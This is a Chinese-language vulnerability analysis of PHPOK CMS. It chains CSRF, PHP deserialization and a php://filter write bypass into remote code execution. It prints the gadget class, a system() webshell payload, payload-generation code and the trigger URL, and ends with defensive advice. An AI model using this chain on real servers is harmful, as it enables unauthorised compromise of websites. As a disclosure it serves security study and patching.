某OK最新版漏洞组合拳GETSHELL
字数 1398 2025-08-25 22:58:55
PHPOK企业站系统漏洞分析与利用教学文档
漏洞概述
PHPOK企业站系统存在一个严重的安全漏洞组合,通过CSRF+反序列化+文件写入的组合攻击可以实现远程代码执行(RCE)。该漏洞影响使用PHP+MYSQL开发的PHPOK企业站CMS系统。
漏洞组件分析
1. 恶意类文件 (framework/engine/cache.php)
class cache {
public function save($id, $content = '') {
if(!$id || $content === '' || !$this->status){
return false;
}
$this->_time();
$content = serialize($content);
$file = $this->folder.$id.".php";
file_put_contents($file,'<?php exit();?>'.$content);
$this->_time();
$this->_count();
if($GLOBALS['app']->db){
$this->key_list($id,$GLOBALS['app']->db->cache_index($id));
}
return true;
}
public function __destruct(){
$this->save($this->key_id,$this->key_list);
$this->expired();
}
}
关键点分析:
__destruct魔术方法调用了save方法,且参数$this->key_id和$this->key_list可控save方法使用file_put_contents写入文件,第一个参数$file完全可控- 写入内容前拼接了
<?php exit();?>,阻止后续PHP代码执行
2. 反序列化漏洞 (framework/libs/token.php)
class token_lib {
public function decode($string) {
if(!$this->keyid){
return false;
}
$string = str_replace(' ','+',$string);
$keyc = substr($string,0,$this->keyc_length);
$string = base64_decode(substr($string,$this->keyc_length));
$cryptkey = $this->keya.md5($this->keya.$keyc);
$rs = $this->core($string,$cryptkey);
$chkb = substr(md5(substr($rs,26).$this->keyb),0,16);
if((substr($rs,0,10) - $this->time > 0) && substr($rs,10,16) == $chkb){
$info = substr($rs,26);
return unserialize($info);
}
return false;
}
}
关键点分析:
decode方法对输入进行解密后调用了unserialize- 解密过程依赖
keyid值,该值可通过后台设置 - 可通过
encode方法生成合法的加密数据
3. CSRF漏洞
后台修改api_code(即keyid)的功能点没有CSRF防护,可以通过构造恶意页面诱导管理员访问来修改此值。
漏洞利用链
- CSRF攻击:诱导管理员访问恶意页面,修改系统的
api_code - 构造恶意序列化数据:使用已知的
api_code对恶意cache类进行序列化和加密 - 触发反序列化:通过调用解密接口触发反序列化
- 文件写入:利用
file_put_contents和PHP过滤器绕过exit()限制写入Webshell
详细利用步骤
第一步:设置api_code
通过CSRF攻击修改系统api_code为已知值(如"123456")。
第二步:构造恶意序列化数据
class cache {
protected $key_id;
protected $key_list;
protected $folder;
public function __construct(){
$this->key_id = 'naiquan';
$this->key_list = 'a'.base64_encode('<?php system($_GET["shell"]);?>');
$this->folder = 'php://filter/write=string.strip_tags|convert.base64-decode/resource=';
}
}
// 完整利用代码见原文提供的脚本
关键点:
- 使用
php://filter协议和过滤器组合绕过exit()限制 string.strip_tags过滤器去除XML标签(包括<?php exit();?>)convert.base64-decode过滤器解码后续的base64编码内容
第三步:生成Payload
运行提供的脚本生成加密后的Payload:
$token = new token();
$token->keyid('123456');
echo $token->encode(serialize(new cache()));
第四步:触发漏洞
访问解密接口触发反序列化:
http://phpok/api.php?c=index&f=phpok&token=[生成的Payload]
第五步:验证Webshell
成功执行后会在服务器上写入Webshell,可通过访问:
http://target/naiquan.php?shell=whoami
执行系统命令。
技术要点总结
- PHP反序列化漏洞:通过可控的
unserialize触发恶意类的__destruct方法 - 文件写入绕过技巧:
- 使用
php://filter协议 string.strip_tags去除PHP标签convert.base64-decode解码base64编码的恶意代码
- 使用
- CSRF利用:修改关键系统配置为攻击者已知值
- 加密/解密流程:理解系统的加密机制以构造合法Payload
防御建议
- 对关键后台操作添加CSRF防护
- 对反序列化操作进行严格限制,或使用JSON替代
- 对文件写入操作进行严格过滤,特别是协议处理
- 更新到最新版本或应用官方补丁
- 对
api_code等关键配置使用强随机值
附录:完整利用脚本
// 参见原文提供的完整利用脚本
通过以上分析,我们可以全面理解该漏洞的成因、利用方式及防御方法。这种组合漏洞的危害性极高,需要系统管理员高度重视并及时修复。